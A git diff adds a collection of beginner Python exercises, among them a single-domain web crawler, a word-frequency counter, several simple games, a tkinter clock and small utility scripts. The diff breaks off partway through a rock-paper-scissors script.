b/Projects/Web-Crawler/domain.py new file mode 100644 index 000000000..4eda106ab --- /dev/null +++ b/Projects/Web-Crawler/domain.py @@ -0,0 +1,14 @@ +from urllib.parse import urlparse + +def get_domain_name(url): + try: + results = get_sub_domain_name(url).split('.') + return results[-2] + '.' + results[-1] + except: + return '' + +def get_sub_domain_name(url): + try: + return urlparse(url).netloc + except: + return '' \ No newline at end of file diff --git a/Projects/Web-Crawler/link_finder.py b/Projects/Web-Crawler/link_finder.py new file mode 100644 index 000000000..cfcf6b56f --- /dev/null +++ b/Projects/Web-Crawler/link_finder.py @@ -0,0 +1,26 @@ +from html.parser import HTMLParser +from urllib import parse + +class LinkFinder(HTMLParser): + + + def __init__(self,base_url,page_url): + super().__init__() + self.base_url = base_url + self.page_url = page_url + self.links = set() + + def error(self, message): + pass + + def handle_starttag(self, tag, attrs): + if tag == 'a': + for (attribute,value) in attrs: + if attribute == 'href': + url = parse.urljoin(self.base_url,value) + self.links.add(url) + + + def page_links(self): + return self.links + \ No newline at end of file diff --git a/Projects/Web-Crawler/main.py b/Projects/Web-Crawler/main.py new file mode 100644 index 000000000..bd0ff34c0 --- /dev/null +++ b/Projects/Web-Crawler/main.py @@ -0,0 +1,38 @@ +import threading +from queue import Queue +from spider import Spider +from domain import * +from demo import * +PROJECT_NAME ='thesite' +HOMEPAGE = 'https://lavasa.christuniversity.in/' +DOMAIN_NAME = get_domain_name(HOMEPAGE) +QUEUE_FILE = PROJECT_NAME + '/queue.txt' +CRAWLED_FILE = PROJECT_NAME + '/crawled.txt' +NUMBER_OF_THREADS = 8 +queue= Queue() +Spider(PROJECT_NAME,HOMEPAGE,DOMAIN_NAME) + +def crawl(): + queued_links= file_to_set(QUEUE_FILE) + if len(queued_links) > 0: + print(str(len(queued_links))+' Links in the queue ') + create_jobs() +def create_jobs(): + for link in file_to_set(QUEUE_FILE): + queue.put(link) + queue.join() + crawl() + +def create_workers(): + for _ in range(NUMBER_OF_THREADS): + t = threading.Thread(target=work) + t.daemon= True + t.start() + +def work(): + while True: + url = queue.get() + Spider.crawl_page(threading.current_thread().name, url) + queue.task_done() +create_workers() +crawl() \ No newline at end of file diff --git a/Projects/Web-Crawler/spider.py b/Projects/Web-Crawler/spider.py new file mode 100644 index 000000000..032327b9f --- /dev/null +++ b/Projects/Web-Crawler/spider.py @@ -0,0 +1,67 @@ +from urllib.request import urlopen +from link_finder import LinkFinder +from demo import * +from domain import * + +class Spider: + project_name = '' + base_url = '' + domain_name = '' + queue_file = '' + crawled_file = '' + queue = set() + crawled = set() + def __init__(self, project_name, base_url, domain_name): + Spider.project_name = project_name + Spider.base_url = base_url + Spider.domain_name = domain_name + Spider.queue_file = Spider.project_name + '/queue.txt' + Spider.crawled_file = Spider.project_name + '/crawled.txt' + self.boot() + self.crawl_page('First spider',Spider.base_url) + + @staticmethod + def boot(): + create_project_dir(Spider.project_name) + create_data_files(Spider.project_name,Spider.base_url) + Spider.queue = file_to_set(Spider.queue_file) + Spider.crawled = file_to_set(Spider.crawled_file) + + @staticmethod + def crawl_page(thread_name,page_url): + if page_url not in Spider.crawled: + print(thread_name + 'Now crawling ' +page_url) + print('Queue' + str(len(Spider.queue)) + ' | Crawled ' +str(len(Spider.crawled))) + Spider.add_links_to_queue(Spider.gather_links(page_url)) + Spider.queue.remove(page_url) + Spider.crawled.add(page_url) + Spider.update_files() + + @staticmethod + def gather_links(page_url): + html_string = '' + try: + response = urlopen(page_url) + if 'text/html' in response.getheader('Content-Type'): + html_bytes = response.read() + html_string = html_bytes.decode("utf-8") + finder = LinkFinder(Spider.base_url,page_url) + finder.feed(html_string) + except Exception as e: + print(str(e)) + return set() + return finder.page_links() + + @staticmethod + def add_links_to_queue(links): + for url in links: + if (url in Spider.queue) or (url in Spider.crawled): + continue + if Spider.domain_name != get_domain_name(url): + continue + Spider.queue.add(url) + + @staticmethod + def update_files(): + set_to_file(Spider.queue,Spider.queue_file) + set_to_file(Spider.crawled,Spider.crawled_file) \ No newline at end of file diff --git a/Projects/Word_Frequency_Counter/README.md b/Projects/Word_Frequency_Counter/README.md new file mode 100644 index 000000000..b9584fff3 --- /dev/null +++ b/Projects/Word_Frequency_Counter/README.md @@ -0,0 +1,78 @@ +# Word Frequency Counter + +## Description +A python script that counts word frequencies in a text. + +The text is pre-processed beforehand to keep only the most informative words. +Top-10 most frequent words are shown to the user. The full output is saved in a file in the same directory as the input text file. + +## Usage + +```py +>>> python count_word_freq.py --filepath [filepath] +``` + +### Example + +```py +>>> python count_word_freq.py --filepath test_file.txt +Top 10 most frequent words: +[('queen', 3), ('said', 3), ('fair', 3), ('mirror', 3), ('snow', 2), ('castle', 2), ('father', 2), ('stepmother', 2), ('upon', 1), ('time', 1)] + +Saved the word frequencies to 'test_file_freq_dist.txt' +``` + +``` +test_file.txt + +Once upon a time, a princess named Snow White lived in a castle with her father, the King, and her stepmother, the Queen. Her father had always said to his daughter that she must be fair to everyone at court. Said he, "People come here to the castle when they have a problem. They need the ruler to make a fair decision. Nothing is more important than to be fair." + +The Queen, Snow White's stepmother, knew how much this meant to her husband. At the first chance, she went to her magic mirror. "Mirror, mirror, on the wall," said the Queen. "Who is the fairest of them all?" + +``` + +``` +test_file_freq_dist.txt + +('queen', 3) +('said', 3) +('fair', 3) +('mirror', 3) +('snow', 2) +('castle', 2) +('father', 2) +('stepmother', 2) +('upon', 1) +('time', 1) +('princess', 1) +('named', 1) +('white', 1) +('lived', 1) +('king', 1) +('always', 1) +('daughter', 1) +('must', 1) +('everyone', 1) +('court', 1) +('people', 1) +('come', 1) +('problem', 1) +('need', 1) +('ruler', 1) +('make', 1) +('decision', 1) +('nothing', 1) +('important', 1) +('whites', 1) +('knew', 1) +('much', 1) +('meant', 1) +('husband', 1) +('first', 1) +('chance', 1) +('went', 1) +('magic', 1) +('wall', 1) +('fairest', 1) + +``` \ No newline at end of file diff --git a/Projects/Word_Frequency_Counter/count_word_freq.py b/Projects/Word_Frequency_Counter/count_word_freq.py new file mode 100644 index 000000000..5139ee70a --- /dev/null +++ b/Projects/Word_Frequency_Counter/count_word_freq.py @@ -0,0 +1,77 @@ +import argparse +from nltk.corpus import stopwords +from nltk.probability import FreqDist +from nltk.tokenize import word_tokenize +import re +import string + + +def preprocess(text: str) -> str: + """ + Pre-process the input text. + + - Remove punctuation + - Remove numbers + - Lowercase + + :param text: text to pre-process + :return: the pre-processed text + """ + # Lowercase. + text = text.lower() + # Remove numbers. + text = re.sub(r"[0-9]+", "", text) + # Remove punctuation. + text = text.translate(str.maketrans("", "", string.punctuation)) + return text + + +def run(text: str) -> FreqDist: + """ + Count the word frequencies in a text. + + The text is pre-processed beforehand to remove uninformative + tokens such as punctuation, numbers, stopwords, and to unify + the same tokens by lowercasing the text. + + :param text: text to count the word frequencies in + :return: the word frequencies in the text + """ + # Pre-process the text. + text = preprocess(text) + # Tokenize the text. + tokens = word_tokenize(text) + # Remove stopwords. + stop_words = set(stopwords.words("english")) + tokens = [token for token in tokens if token not in stop_words] + # Count the frequencies. + freq_dist = FreqDist(tokens) + print("Top 10 most frequent words:") + print(freq_dist.most_common(10)) + return freq_dist + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument( + "--filepath", + "-f", + required=True, + help="path to the text file" + ) + args = parser.parse_args() + # Open the text file. + with open(args.filepath, "r") as f: + text = f.read() + # Count the frequencies. + freq_dist = run(text) + freq_dist_str = "\n".join([str(x) for x in freq_dist.most_common(freq_dist.B())]) + # Save the result. + old_file_name = args.filepath.split("/")[-1].split(".")[0] + new_file_name = old_file_name + "_freq_dist" + new_filepath = args.filepath.replace(old_file_name, new_file_name) + with open(new_filepath, "w") as f: + f.write(freq_dist_str) + print(f"\nSaved the word frequencies to '{new_filepath}'") + + diff --git a/Projects/Word_Frequency_Counter/requirements.txt b/Projects/Word_Frequency_Counter/requirements.txt new file mode 100644 index 000000000..9a98981f3 --- /dev/null +++ b/Projects/Word_Frequency_Counter/requirements.txt @@ -0,0 +1,4 @@ +argparse +nltk==3.4.5 +re +string \ No newline at end of file diff --git a/Projects/Word_Frequency_Counter/test_file.txt b/Projects/Word_Frequency_Counter/test_file.txt new file mode 100644 index 000000000..f624d7c6d --- /dev/null +++ b/Projects/Word_Frequency_Counter/test_file.txt @@ -0,0 +1,3 @@ +Once upon a time, a princess named Snow White lived in a castle with her father, the King, and her stepmother, the Queen. Her father had always said to his daughter that she must be fair to everyone at court. Said he, "People come here to the castle when they have a problem. They need the ruler to make a fair decision. Nothing is more important than to be fair." + +The Queen, Snow White's stepmother, knew how much this meant to her husband. At the first chance, she went to her magic mirror. "Mirror, mirror, on the wall," said the Queen. "Who is the fairest of them all?" \ No newline at end of file diff --git a/Projects/Word_Frequency_Counter/test_file_freq_dist.txt b/Projects/Word_Frequency_Counter/test_file_freq_dist.txt new file mode 100644 index 000000000..b9517c6e6 --- /dev/null +++ b/Projects/Word_Frequency_Counter/test_file_freq_dist.txt @@ -0,0 +1,40 @@ +('queen', 3) +('said', 3) +('fair', 3) +('mirror', 3) +('snow', 2) +('castle', 2) +('father', 2) +('stepmother', 2) +('upon', 1) +('time', 1) +('princess', 1) +('named', 1) +('white', 1) +('lived', 1) +('king', 1) +('always', 1) +('daughter', 1) +('must', 1) +('everyone', 1) +('court', 1) +('people', 1) +('come', 1) +('problem', 1) +('need', 1) +('ruler', 1) +('make', 1) +('decision', 1) +('nothing', 1) +('important', 1) +('whites', 1) +('knew', 1) +('much', 1) +('meant', 1) +('husband', 1) +('first', 1) +('chance', 1) +('went', 1) +('magic', 1) +('wall', 1) +('fairest', 1) \ No newline at end of file diff --git a/Projects/Wordle/wordle b/Projects/Wordle/wordle new file mode 100644 index 000000000..ce8886d78 --- /dev/null +++ b/Projects/Wordle/wordle @@ -0,0 +1,30 @@ + +import random +word_list = ["apple", "banana", "cherry", "watermelon", "tomato", "pumpkin", + "peacock", "eagle", "tiger", "leopard", "elephant", "rhinoceros", + "science", "english", "mathematics", "commerce", "school", "playground", + "plants", "solar", "nuclear", "hydro", "water", "mantle", "insects"] +word = random.choice(word_list) +tries = 0 +length = len(word) +print(f"There are {length} letters in the word") + +while tries < length: + guess = input("Enter your letter: ").lower() + if len(guess) != length or guess.isalpha is False: + print("Invalid Input: Please enter a word with the required number of letters") + continue + if guess is word: + print(f"YOU HAVE WON!!\nThe word was: {word}") + break + guess_list = list(guess) + for i in range(length): + if guess_list[i] in word and guess_list[i] != word[i]: + guess_list[i] = guess_list[i].upper() + elif guess_list[i] not in word[i]: + guess_list[i] = "_" + print(" ".join(guess_list)) + tries += 1 + +else: + print(f"You lost :(\nThe word was: {word}") diff --git a/Projects/Zig-zag/Zig-zag.py b/Projects/Zig-zag/Zig-zag.py new file mode 100644 index 000000000..1b6567806 --- /dev/null +++ b/Projects/Zig-zag/Zig-zag.py @@ -0,0 +1,40 @@ +import numpy as np + +rows = int(input("Enter number of rows ")) +cols = int(input("Enter number of columns ")) +arr = np.zeros([7,16],dtype = int) +num = 0 +flag = 0 +i = 0 +j = 0 + +while j <= cols-1: + if i<=rows-1 and flag == 0: + num = num + 1 + arr[i][j] = num + if i == rows - 1 : + i = i - 1 + j = j + 1 + flag = 1 + else: + i = i + 1 + j = j + 1 + + elif (i=0) and flag == 1: + num = num + 1 + arr[i][j] = num + if i == 0: + i = i + 1 + j = j + 1 + flag = 0 + else: + i = i - 1 + j = j + 1 + +for i in range(rows): + for j in range(cols): + if(arr[i][j] == 0): + print(" ",end =" ") + else: + print(arr[i][j],end =" ") + print() diff --git a/Projects/cardsgame/Blackjack.py b/Projects/cardsgame/Blackjack.py new file mode 100644 index 000000000..38fc6c9d5 --- /dev/null +++ b/Projects/cardsgame/Blackjack.py @@ -0,0 +1,89 @@ +import random as rd , os + +logo = """ +.------. _ _ _ _ _ +|A_ _ |. | | | | | | (_) | | +|( \/ ).-----. | |__ | | __ _ ___| | ___ __ _ ___| | __ +| \ /|K /\ | | '_ \| |/ _` |/ __| |/ / |/ _` |/ __| |/ / +| \/ | / \ | | |_) | | (_| | (__| <| | (_| | (__| < +`-----| \ / | |_.__/|_|\__,_|\___|_|\_\ |\__,_|\___|_|\_\\ + | \/ K| _/ | + `------' |__/ +""" + + +def deal_card(): + cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10] # we are taking the cards as list of the elemnts + card=rd.choice(cards) + return card + +def compare(user_score,computer_score):# this is the final function that is going to be execute + if user_score > 21 and computer_score > 21: + return "You went over. You lose 😤" + if user_score == computer_score: + return "Draw 🙃" + elif computer_score == 0: + return "Lose, opponent has Blackjack 😱" + elif user_score == 0: + return "Win with a Blackjack 😎" + elif user_score > 21: + return "You went over. You lose 😭" + elif computer_score > 21: + return "Opponent went over. You win 😁" + elif user_score > computer_score: + return "You win 😃" + else: + return "You lose 😤" + +def calculate_score(ref_cards): + + if sum(ref_cards) == 21 and len(ref_cards)==2 : #checks weather the user has the blackjack or the computer + return 0 + + if 11 in ref_cards and sum(ref_cards) > 21: + ref_cards.remove(21) + ref_cards.append(1) + + return sum(ref_cards) # if none of them has jacj return the sum as it is + +def play_game(): + print(logo) + user_cards=[] + computer_cards=[] + is_game_over=False + + for _ in range(2): + user_cards.append(deal_card()) + computer_cards.append(deal_card()) + + while not is_game_over: + + user_score = calculate_score(user_cards) + computer_score = calculate_score(computer_cards) + + print(f" Your cards: {user_cards}, current score: {user_score}") + print(f" Computer's first card: {computer_cards[0]}") + + if user_score == 0 or computer_score ==0 or user_score > 21: + is_game_over = True + else: + + user_wish = input("Type 'y' to get another card, type 'n' to pass: ") + if user_wish == 'y': + user_cards.append(deal_card()) + else: + is_game_over = True + + while computer_score != 0 and computer_score < 17 : + computer_cards.append(deal_card()) + computer_score = calculate_score(computer_cards) + + print(f" Your final hand: {user_cards}, final score: {user_score}") + print(f" Computer's final hand: {computer_cards}, final score: {computer_score}") + print(compare(user_score, computer_score)) +while input("Do you want to play a game of Blackjack? Type 'y' or '") == 'y': + os.system('clear') + play_game() + + + diff --git a/Projects/coffee_machine/coffee.py b/Projects/coffee_machine/coffee.py new file mode 100644 index 000000000..c6015275e --- /dev/null +++ b/Projects/coffee_machine/coffee.py @@ -0,0 +1,90 @@ + +MENU = { + "espresso": { + "ingredients": { + "water": 50, + "coffee": 18, + }, + "cost": 1.5, + }, + "latte": { + "ingredients": { + "water": 200, + "milk": 150, + "coffee": 24, + }, + "cost": 2.5, + }, + "cappuccino": { + "ingredients": { + "water": 250, + "milk": 100, + "coffee": 24, + }, + "cost": 3.0, + } +} + +availability = { + 'water':250, + 'milk':100, + 'coffee':24 +} +profit = 0 + + +def process(): + print('please insert coins !') + total = int(input('How many quarters ? ')) * 0.25 + total += int(input('How many dimes ? ')) * 0.1 + total += int(input('How many nickles ? ')) * 0.05 + total += int(input('How many pennies ? ')) * 0.01 + return total + + +def is_transaction_successful(money_received ,drink_cost): + if money_received >= drink_cost: + change = round(money_received-drink_cost ,2) + print(f'Here is change ${change}') + global profit + profit += drink_cost + return True + else: + print('So sorry that is not enough money . Money refunded. ') + return False + + +def make_coffee(drink_name,order_ingredients): + for item in order_ingredients: + availability[item]-=order_ingredients[item] + print(f'Here is your {drink_name}! ') + + +def is_resource_sufficient(order_ingredients): + for item in order_ingredients: + if order_ingredients[item] > availability[item]: + print(f'sorry there is not enough {item} .') + return False + return True + + +end_coffee = False + +while not end_coffee: + user_choice = input('What would you like ? (espresso/latte/cappuccino): ').lower() + if user_choice == 'off': + end_coffee = False + elif user_choice == 'report': + print(f"Water: {availability['water']}ml") + print(f"Milk: {availability['milk']}ml") + print(f"Coffee: {availability['coffee']}g") + print(f"Money: ${profit}") + else: + drink = MENU[user_choice] + if is_resource_sufficient(drink['ingredients']): + payment = process() + if is_transaction_successful(payment ,drink['cost']): + make_coffee(user_choice, drink['ingredients']) + + + diff --git a/Projects/digital_clock/digitalClock.py b/Projects/digital_clock/digitalClock.py new file mode 100644 index 000000000..5c2a3cd4d --- /dev/null +++ b/Projects/digital_clock/digitalClock.py @@ -0,0 +1,62 @@ +from tkinter import* +from tkinter.font import BOLD +import time + +root = Tk() +root.title('Digi Clock') +root.geometry('1350x700+5+5') +root.config(bg='#0D1117') + + +def clock(): + h=str(time.strftime("%H")) + m=str(time.strftime("%M")) + s=str(time.strftime("%S")) + + if int(h)>int(12): + h = str(int(h)//12) + lbl_noon.config(text='PM') + lbl_noon2.config(text='Noon') + + lbl_hr.config(text=h) + lbl_min.config(text=m) + lbl_sec.config(text=s) + + lbl_hr.after(200,clock) + + +#hours + +lbl_hr = Label(root,text='12',font=("times new roman",50,"bold"),bg="#0faada",fg='white') +lbl_hr.place(x=350,y=200,width=150,height=150) + +lbl_hr2 = Label(root,text='Hours',font=("Comic Sans MS",20,"bold"),bg="#0faada",fg='white') +lbl_hr2.place(x=350,y=360,width=150,height=50) + +#mins + +lbl_min = Label(root,text='12',font=("times new roman",50,"bold"),bg="#CA4959",fg='white') +lbl_min.place(x=530,y=200,width=150,height=150) + +lbl_min2 = Label(root,text='Minutes',font=("Comic Sans MS",20,"bold"),bg="#CA4959",fg='white') +lbl_min2.place(x=530,y=360,width=150,height=50) + +#sec + +lbl_sec = Label(root,text='12',font=("times new roman",50,"bold"),bg="#D98F43",fg='white') +lbl_sec.place(x=710,y=200,width=150,height=150) + +lbl_sec2 = Label(root,text='Seconds',font=("Comic Sans MS",20,"bold"),bg="#D98F43",fg='white') +lbl_sec2.place(x=710,y=360,width=150,height=50) + +# noon + +lbl_noon = Label(root,text='AM',font=("Comic Sans MS",50),bg="#0DAC72",fg='white') +lbl_noon.place(x=890,y=200,width=150,height=150) + +lbl_noon2 = Label(root,text='Morning',font=("Comic Sans MS",20,"bold"),bg="#0DAC72",fg='white') +lbl_noon2.place(x=890,y=360,width=150,height=50) + +clock() + +root.mainloop() \ No newline at end of file diff --git a/Projects/eye_saver/eye_saver b/Projects/eye_saver/eye_saver new file mode 100644 index 000000000..8e4c9bd7b --- /dev/null +++ b/Projects/eye_saver/eye_saver @@ -0,0 +1,15 @@ +# Eye Saver +from plyer import notification # pip install pyler +import time + +# It is recommended to follow the 20-20 rule +# i.e. taking a 20 second break after 20 minutes of looking at a screen +# this reduces the strain on your eyes + +time.sleep(3) +notification.notify( + app_name="Eye Saver", + title='Its been 20 minutes', + message='Close your eyes or look away for 20 seconds\nWait till the notification disappears', + timeout=20 + ) diff --git a/Projects/factorial/factorial.py b/Projects/factorial/factorial.py new file mode 100644 index 000000000..85c9c0137 --- /dev/null +++ b/Projects/factorial/factorial.py @@ -0,0 +1,20 @@ +# Python program to find the factorial of a number provided by the user. + +# change the value for a different result +num = 7 + +# To take input from the user +#num = int(input("Enter a number: ")) + +factorial = 1 + +# check if the number is negative, positive or zero +if num < 0: + print("Sorry, factorial does not exist for negative numbers") +elif num == 0: + print("The factorial of 0 is 1") +else: + for i in range(1,num + 1): + factorial = factorial*i + print("The factorial of",num,"is",factorial) + diff --git a/Projects/fibonacci/fibonacci.py b/Projects/fibonacci/fibonacci.py new file mode 100644 index 000000000..07364d36f --- /dev/null +++ b/Projects/fibonacci/fibonacci.py @@ -0,0 +1,13 @@ +#Python program to generate Fibonacci series until 'n' value +n = int(input("Enter the value of 'n': ")) +a = 0 +b = 1 +sum = 0 +count = 1 +print("Fibonacci Series: ", end = " ") +while(count <= n): + print(sum, end = " ") + count += 1 + a = b + b = sum + sum = a + b diff --git a/Projects/hello_world/hello_world.py b/Projects/hello_world/hello_world.py new file mode 100644 index 000000000..d88dae860 --- /dev/null +++ b/Projects/hello_world/hello_world.py @@ -0,0 +1,2 @@ +# Very first python file +print("hello world") # print statement in used to print output to console \ No newline at end of file diff --git a/Projects/higherlower/HigherLower.py b/Projects/higherlower/HigherLower.py new file mode 100644 index 000000000..ab9db1aa7 --- /dev/null +++ b/Projects/higherlower/HigherLower.py @@ -0,0 +1,201 @@ +import random,os +data = [ + { + 'name': 'Instagram', + 'follower_count': 346, + 'description': 'Social media platform', + 'country': 'United States' + }, + { + 'name': 'Cristiano Ronaldo', + 'follower_count': 215, + 'description': 'Footballer', + 'country': 'Portugal' + }, + { + 'name': 'Ariana Grande', + 'follower_count': 183, + 'description': 'Musician and actress', + 'country': 'United States' + }, + { + 'name': 'Dwayne Johnson', + 'follower_count': 181, + 'description': 'Actor and professional wrestler', + 'country': 'United States' + }, + { + 'name': 'Selena Gomez', + 'follower_count': 174, + 'description': 'Musician and actress', + 'country': 'United States' + }, + { + 'name': 'Kylie Jenner', + 'follower_count': 172, + 'description': 'Reality TV personality and businesswoman and Self-Made Billionaire', + 'country': 'United States' + }, + { + 'name': 'Kim Kardashian', + 'follower_count': 167, + 'description': 'Reality TV personality and businesswoman', + 'country': 'United States' + }, + { + 'name': 'Lionel Messi', + 'follower_count': 149, + 'description': 'Footballer', + 'country': 'Argentina' + }, + { + 'name': 'Beyoncé', + 'follower_count': 145, + 'description': 'Musician', + 'country': 'United States' + }, + { + 'name': 'Neymar', + 'follower_count': 138, + 'description': 'Footballer', + 'country': 'Brasil' + }, + { + 'name': 'National Geographic', + 'follower_count': 135, + 'description': 'Magazine', + 'country': 'United States' + }, + { + 'name': 'Justin Bieber', + 'follower_count': 133, + 'description': 'Musician', + 'country': 'Canada' + }, + { + 'name': 'Taylor Swift', + 'follower_count': 131, + 'description': 'Musician', + 'country': 'United States' + }, + { + 'name': 'Kendall Jenner', + 'follower_count': 127, + 'description': 'Reality TV personality and Model', + 'country': 'United States' + }, + { + 'name': 'Jennifer Lopez', + 'follower_count': 119, + 'description': 'Musician and actress', + 'country': 'United States' + }, + { + 'name': 'Nicki Minaj', + 'follower_count': 113, + 'description': 'Musician', + 'country': 'Trinidad and Tobago' + }, + { + 'name': 'Nike', + 'follower_count': 109, + 'description': 'Sportswear multinational', + 'country': 'United States' + }, + { + 'name': 'Khloé Kardashian', + 'follower_count': 108, + 'description': 'Reality TV personality and businesswoman', + 'country': 'United States' + }, + { + 'name': 'Miley Cyrus', + 'follower_count': 107, + 'description': 'Musician and actress', + 'country': 'United States' + }, + { + 'name': 'Katy Perry', + 'follower_count': 94, + 'description': 'Musician', + 'country': 'United States' + }, + +] + +logo = """ + __ ___ __ + / / / (_)___ _/ /_ ___ _____ + / /_/ / / __ `/ __ \/ _ \/ ___/ + / __ / / /_/ / / / / __/ / +/_/ ///_/\__, /_/ /_/\___/_/ + / / /____/_ _____ _____ + / / / __ \ | /| / / _ \/ ___/ + / /___/ /_/ / |/ |/ / __/ / +/_____/\____/|__/|__/\___/_/ +""" + +vs = """ + _ __ +| | / /____ +| | / / ___/ +| |/ (__ ) +|___/____(_) +""" + + +def get_random_account(): + """Get data from random account""" + return random.choice(data) + +def format_data(account): + """Format account into printable format: name, description and country""" + name = account["name"] + description = account["description"] + country = account["country"] + # print(f'{name}: {account["follower_count"]}') + return f"{name}, a {description}, from {country}" + +def check_answer(guess, a_followers, b_followers): + """Checks followers against user's guess + and returns True if they got it right. + Or False if they got it wrong.""" + if a_followers > b_followers: + return guess == "a" + else: + return guess == "b" + + +def game(): + print(logo) + score = 0 + game_should_continue = True + account_a = get_random_account() + account_b = get_random_account() + + while game_should_continue: + account_a = account_b + account_b = get_random_account() + + while account_a == account_b: + account_b = get_random_account() + + print(f"Compare A: {format_data(account_a)}.") + print(vs) + print(f"Against B: {format_data(account_b)}.") + + guess = input("Who has more followers? Type 'A' or 'B': ").lower() + a_follower_count = account_a["follower_count"] + b_follower_count = account_b["follower_count"] + is_correct = check_answer(guess, a_follower_count, b_follower_count) + + os.system("clear") + print(logo) + if is_correct: + score += 1 + print(f"You're right! Current score: {score}.") + else: + game_should_continue = False + print(f"Sorry, that's wrong. Final score: {score}") + +game() diff --git a/Projects/insta profile pic downloader/insta profile pic downloader.py b/Projects/insta profile pic downloader/insta profile pic downloader.py new file mode 100644 index 000000000..f6fb336a3 --- /dev/null +++ b/Projects/insta profile pic downloader/insta profile pic downloader.py @@ -0,0 +1,4 @@ +from instaloader import* +x = Instaloader() +acc = input('Username: ') +x.download_profile(acc, profile_pic_only = True) diff --git a/Projects/linearEquation/linearEquation.py b/Projects/linearEquation/linearEquation.py new file mode 100644 index 000000000..64563d99a --- /dev/null +++ b/Projects/linearEquation/linearEquation.py @@ -0,0 +1,35 @@ +# -*- coding: utf-8 -*- +""" +Created on Tue Oct 4 23:46:02 2022 + +@author: INAKKAM +""" + +str1 = "x + 30 = 53" +a = [] +for ele in str1.split(): + a.append(ele) + +a1=a[0] +op=a[1] +b=a[2] +c=a[4] + +if ele in a: + if ele.find('x'): + if op =="+": + new_a=int(c)-int(b) + if op =="-": + new_a=b+c + if op =="*": + new_a=c/b + if op =="/": + new_a=c*b + new_a1=str(new_a) + if a1!='x': + for i in range(len(a1)): + if a1[i]=='x': + x=new_a1[i] + else: + x=new_a +print(x) \ No newline at end of file diff --git a/Projects/lyrics_typer b/Projects/lyrics_typer/lyrics_typer similarity index 100% rename from Projects/lyrics_typer rename to Projects/lyrics_typer/lyrics_typer diff --git a/Projects/mad lib generator/mad lib generator.py b/Projects/mad lib generator/mad lib generator.py new file mode 100644 index 000000000..f9f813d5a --- /dev/null +++ b/Projects/mad lib generator/mad lib generator.py @@ -0,0 +1,18 @@ +loop = 1 +while (loop < 10): + noun = input("Choose a noun: ") + p_noun = input("Choose a plural noun: ") + noun2 = input("Choose a noun: ") + place = input("Name a place: ") + adjective = input("Choose an adjective (Describing word): ") + noun3 = input("Choose a noun: ") + print ("------------------------------------------") + print ("Be kind to your",noun,"- footed", p_noun) + print ("For a duck may be somebody's", noun2,",") + print ("Be kind to your",p_noun,"in",place) + print ("Where the weather is always",adjective,".") + print () + print ("You may think that is this the",noun3,",") + print ("Well it is.") + print ("------------------------------------------") + loop = loop + 1 diff --git a/Projects/mouse locator/mouse locator.py b/Projects/mouse locator/mouse locator.py new file mode 100644 index 000000000..4320dc552 --- /dev/null +++ b/Projects/mouse locator/mouse locator.py @@ -0,0 +1,7 @@ +from pynput import* + +def get_coords(x, y): + print("{}, {}".format(x,y)) + +with mouse.Listener(on_move = get_coords) as listen: + listen.join() diff --git a/Projects/phone_number_validity_checker/phone_number_validity_checker.py b/Projects/phone_number_validity_checker/phone_number_validity_checker.py new file mode 100644 index 000000000..b91084ae8 --- /dev/null +++ b/Projects/phone_number_validity_checker/phone_number_validity_checker.py @@ -0,0 +1,7 @@ +import phonenumbers +x = input("Enter number here(with the country code): ") +phone_number = phonenumbers.parse(x) +valid = phonenumbers.is_valid_number(phone_number) +possible = phonenumbers.is_possible_number(phone_number) +print(valid) +print(possible) diff --git a/Projects/pyautogui-SpiralDrawer/README.md b/Projects/pyautogui-SpiralDrawer/README.md new file mode 100644 index 000000000..da479ae99 --- /dev/null +++ b/Projects/pyautogui-SpiralDrawer/README.md @@ -0,0 +1,15 @@ +# PyAutoGui Spiral Drawer + +This script drags the mouse in a square spiral shape in MS Paint (or any graphics drawing program) + +### Prerequisites +-pyautogui + +### How to run the script +python pyautogui.py + +### Screenshot/GIF showing the sample use of the script +![example](square_spiral.png) + +## *Credits* +https://pyautogui.readthedocs.io/en/latest/ \ No newline at end of file diff --git a/Projects/pyautogui-SpiralDrawer/pyautogui.py b/Projects/pyautogui-SpiralDrawer/pyautogui.py new file mode 100644 index 000000000..70e07b226 --- /dev/null +++ b/Projects/pyautogui-SpiralDrawer/pyautogui.py @@ -0,0 +1,11 @@ +# This example drags the mouse in a square spiral shape in MS Paint (or any graphics drawing program) +import pyautogui + +distance = 200 +while distance > 0: + pyautogui.drag(distance, 0, duration=0.5) # move right + distance -= 5 + pyautogui.drag(0, distance, duration=0.5) # move down + pyautogui.drag(-distance, 0, duration=0.5) # move left + distance -= 5 + pyautogui.drag(0, -distance, duration=0.5) # move up \ No newline at end of file diff --git a/Projects/pyautogui-SpiralDrawer/square_spiral.png b/Projects/pyautogui-SpiralDrawer/square_spiral.png new file mode 100644 index 000000000..602aa0b2c Binary files /dev/null and b/Projects/pyautogui-SpiralDrawer/square_spiral.png differ diff --git a/Projects/python-image-to-text b/Projects/python-image-to-text new file mode 160000 index 000000000..4ece669c6 --- /dev/null +++ b/Projects/python-image-to-text @@ -0,0 +1 @@ +Subproject commit 4ece669c654ebe0d18001e2b84b973c4bd04fe7e diff --git a/Projects/removeDuplicate/removeDuplicate.py b/Projects/removeDuplicate/removeDuplicate.py new file mode 100644 index 000000000..f7926d97a --- /dev/null +++ b/Projects/removeDuplicate/removeDuplicate.py @@ -0,0 +1,13 @@ +class Solution: + def removeDuplicates(self, nums) -> int: + slow = 0 + for fast in range(1,len(nums)): + if nums[fast]!=nums[slow]: + slow+=1 + nums[slow] = nums[fast] + + return slow+1 + + +s = Solution() +print(s.removeDuplicates([1,1,2])) diff --git a/Projects/rock-paper-scissors/RPS.py b/Projects/rock-paper-scissors/RPS.py new file mode 100644 index 000000000..dfbf13c74 --- /dev/null +++ b/Projects/rock-paper-scissors/RPS.py @@ -0,0 +1,107 @@ +import os +import random as rd + +paper = """ + + ________ + --------' _______)___ + ___________)__ + ______________) + _____________) + ---------\______________) """ +rock = """ + ______ + -------' ___)__ + (______) + (______) + (_____) + ------\___(____) """ + + +scissors = """ + + _________ + -----' _____)____ + _________)__ + _____________) + (_______) + ----\_____(______) """ + + +available_choice = [paper, rock, scissors] +score = 0 + +while True: + os.system("clear") + print("**************** Happy Gaming ********************") + + print(r"Enter '0' For Paper") + + print(r"Enter '1' For Rock") + + print(r"Enter '2' For scissors") + + try: + + user_choice = int(input(("Please Enter Your Choice: "))) + + except ValueError: + + print("Invalid Input Entered! Please Try Again") + + else: + + if user_choice >= 0 and user_choice <= 2: + + is_draw = False + won = False + + print(f"Your Choice: {available_choice[user_choice]}\n") + + print("Computer Choice: ") + + 